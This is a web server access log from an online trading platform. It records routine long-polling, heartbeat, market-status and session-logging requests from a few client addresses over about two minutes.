[09/Jan/2026:10:31:25 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926156720 HTTP/1.1" -
[09/Jan/2026:10:31:29 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926159054 HTTP/1.1" -
[09/Jan/2026:10:31:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926161773 HTTP/1.1" -
[09/Jan/2026:10:31:34 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926164092 HTTP/1.1" -
[09/Jan/2026:10:31:35 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926166844 HTTP/1.1" -
[09/Jan/2026:10:31:40 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926169121 HTTP/1.1" -
[09/Jan/2026:10:31:40 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926171975 HTTP/1.1" -
[09/Jan/2026:10:31:45 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926174156 HTTP/1.1" -
[09/Jan/2026:10:31:45 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926177146 HTTP/1.1" -
[09/Jan/2026:10:31:46 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:31:46 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:31:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926179186 HTTP/1.1" -
[09/Jan/2026:10:31:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926182267 HTTP/1.1" -
[09/Jan/2026:10:31:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:31:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:31:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:31:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:31:54 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:31:54 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:31:55 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926184203 HTTP/1.1" -
[09/Jan/2026:10:31:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926187424 HTTP/1.1" -
[09/Jan/2026:10:32:00 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926189220 HTTP/1.1" -
[09/Jan/2026:10:32:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926192473 HTTP/1.1" -
[09/Jan/2026:10:32:05 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926194251 HTTP/1.1" -
[09/Jan/2026:10:32:05 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926197532 HTTP/1.1" -
[09/Jan/2026:10:32:10 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926199275 HTTP/1.1" -
[09/Jan/2026:10:32:11 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926202674 HTTP/1.1" -
[09/Jan/2026:10:32:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926204302 HTTP/1.1" -
[09/Jan/2026:10:32:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926207822 HTTP/1.1" -
[09/Jan/2026:10:32:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:32:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:32:20 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926209349 HTTP/1.1" -
[09/Jan/2026:10:32:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:32:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926212966 HTTP/1.1" -
[09/Jan/2026:10:32:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:32:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:32:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:32:24 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:32:24 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:32:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926214375 HTTP/1.1" -
[09/Jan/2026:10:32:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926218215 HTTP/1.1" -
[09/Jan/2026:10:32:30 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926219406 HTTP/1.1" -
[09/Jan/2026:10:32:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926223324 HTTP/1.1" -
[09/Jan/2026:10:32:35 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926224446 HTTP/1.1" -
[09/Jan/2026:10:32:36 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926228378 HTTP/1.1" -
[09/Jan/2026:10:32:40 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926229497 HTTP/1.1" -
[09/Jan/2026:10:32:41 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926233555 HTTP/1.1" -
[09/Jan/2026:10:32:45 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926234534 HTTP/1.1" -
[09/Jan/2026:10:32:46 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:32:46 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:32:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926238669 HTTP/1.1" -
[09/Jan/2026:10:32:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926239583 HTTP/1.1" -
[09/Jan/2026:10:32:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:32:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:32:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:32:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:32:52 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926243813 HTTP/1.1" -
[09/Jan/2026:10:32:54 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:32:54 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:32:55 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926244601 HTTP/1.1" -
[09/Jan/2026:10:32:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926248892 HTTP/1.1" -
[09/Jan/2026:10:33:00 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926249631 HTTP/1.1" -
[09/Jan/2026:10:33:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926254040 HTTP/1.1" -
[09/Jan/2026:10:33:05 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926254668 HTTP/1.1" -
[09/Jan/2026:10:33:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926259172 HTTP/1.1" -
[09/Jan/2026:10:33:10 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926259712 HTTP/1.1" -
[09/Jan/2026:10:33:12 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926264305 HTTP/1.1" -
[09/Jan/2026:10:33:13 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:33:13 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:33:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926264752 HTTP/1.1" -
[09/Jan/2026:10:33:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:33:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:33:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926269454 HTTP/1.1" -
[09/Jan/2026:10:33:20 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926269788 HTTP/1.1" -
[09/Jan/2026:10:33:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:33:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:33:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:33:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:33:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926274607 HTTP/1.1" -
[09/Jan/2026:10:33:24 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:33:24 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:33:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926274806 HTTP/1.1" -
[09/Jan/2026:10:33:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926279709 HTTP/1.1" -
[09/Jan/2026:10:33:30 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926279833 HTTP/1.1" -
[09/Jan/2026:10:33:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926284868 HTTP/1.1" -
[09/Jan/2026:10:33:35 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926284887 HTTP/1.1" -
[09/Jan/2026:10:33:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926290018 HTTP/1.1" -
[09/Jan/2026:10:33:40 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926289931 HTTP/1.1" -
[09/Jan/2026:10:33:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926295146 HTTP/1.1" -
[09/Jan/2026:10:33:45 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926294980 HTTP/1.1" -
[09/Jan/2026:10:33:46 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:33:46 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:33:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926300286 HTTP/1.1" -
